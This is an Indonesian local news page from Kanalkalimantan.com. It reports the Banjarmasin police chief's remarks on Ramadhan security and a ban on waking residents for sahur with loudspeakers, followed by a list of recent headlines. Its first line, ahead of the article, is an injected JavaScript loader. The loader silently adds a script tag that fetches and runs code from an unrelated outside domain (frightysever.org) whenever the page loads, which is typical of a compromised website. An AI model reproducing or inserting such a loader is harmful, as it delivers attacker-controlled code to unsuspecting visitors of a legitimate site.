(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

Dilarang Bagarakan Sahur Gunakan Alat Pengeras Suara, Kapolresta Banjarmasin: Itu Terlalu Berisik!


KANALKALIMANTAN.COM, BANJARMASIN – Selama bulan Ramadhan potensi tindak pidana atau gangguan keamanan dan ketertiban di lingkungan masyarakat bisa dikatakan cukup tinggi.

Hal itu dikarenakan banyaknya aktivitas masyarakat yang dilakukan pada malam hari saat bulan Ramadhan.

Kapolresta Banjarmasin Kombes Pol Sabana Atmojo mengatakan, jika sepanjang bulan Ramadhan ini kondisi Kamtibmas di Kota Banjarmasin masih tergolong aman.

Kepolisian selalu rutin melakukan patroli untuk mencegah terjadinya gangguan Kamtibmas di wilayah hukum Kota Banjarmasin.

 

Baca juga: Menteri KP Tinjau BPBAT Mandiangin, Panen Ikan Komoditas Lokal

“Kita ada pos induk, malam Jumat, malam Sabtu, malam Minggu, dan malam Senin selalu melaksanakan patroli,” ujarnya.

Adapun kejahatan yang menonjol saat ini menurutnya hanya tidak pidana ringan seperti pencurian ringan. Sedangkan tindak pidana berat seperti pembegalan tidak ada.

Bahkan balap liar yang beberapa waktu lalu  menjadi fokus Polresta Banjarmasin menurut Kombes Sabana sudah mulai berkurang bahkan tidak ada lagi.

“Memang yang kita fokuskan itu seperti balap liar, namun sekarang sudah mulai hilang,” ungkapnya.

Selain itu, ia juga berkomitmen untuk selalu menjaga keamanan dan kenyamanan masyarakat di Kota Banjarmasin selama Ramadhan.

Sehingga hal-hal yang mengganggu masyarakat khususnya waktu malam hari akan ditindak, misalnya seperti membangunkan sahur memakai alat pengeras suara.

Baca juga: Petugas LPP Martapura Berbagi Takjil untuk Warga Sekitar

“Bagarakan sahur pakai itu (pengeras suara) tidak boleh, itukan mengganggu masyarakat, terlalu bising,” tegasnya.

Sedangkan bagi anak-anak yang membangunkan sahur tanpa pengeras suara seperti kelontongan tidak dilarang. Menurutnya, prinsipnya adalah asalkan tidak menggangu masyarakat sekitar.

“Bagarakan sahur tanpa sound system kita lihat masyarakat situ. Kita Kordinasi juga dengan Lurah dan RT setempat,” pungkasnya. (Kanalkalimantan.com/rizki)

Reporter: rizki
Editor: bie


Al Ghifari

Recent Posts

Wali Kota Yamin akan Tindak Pemilik Ruko yang Tidak Merawat Drainase

KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin H Muhammad Yamin HR menegaskan akan menindak pemilik Ruko… Read More

2 jam ago

Ketua DPRD Kalsel Sampaikan Tuntutan Mahasiswa ke Senayan

KANALKALIMANTAN.COM, JAKARTA — Ketua DPRD Kalimantan Selatan (Kalsel), H Supian HK menyampaikan tuntutan mahasiswa dari… Read More

3 jam ago

275 ASN Pemko Banjarmasin Pensiun di 2025

KANALKALIMANTAN.COM, BANJARMASIN — Sebanyak 275 Aparatur Sipil Negara (ASN) di lingkungan Pemerintah Kota (Pemko) Banjarmasin… Read More

4 jam ago

Pembebasan Lahan Bendungan Riam Kiwa Mendesak Atasi Banjir Tahunan

KANALKALIMANTAN.COM, BANJARMASIN - Balai Wilayah Sungai (BWS) Kalimantan III menyatakan kesiapan mempercepat pembangunan Bendungan Riam… Read More

7 jam ago

Cek Pelayanan Kesehatan Berjalan Optimal, Bupati Wiyatno Audiensi ke RSUD Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno melakukan kunjungan kerja sekaligus audiensi dengan… Read More

11 jam ago

67 Ribu Warga Tak Lagi Ditanggung BPJS Kesehatan, Pemko Banjarmasin Upayakan Pengaktifan Kembali

KANALKALIMANTAN.COM, BANJARMASIN — Masyarakat di Kota Banjarmasin sangat terpukul dengan kebijakan penonaktifan massal kepesertaan BPJS… Read More

1 hari ago

This website uses cookies.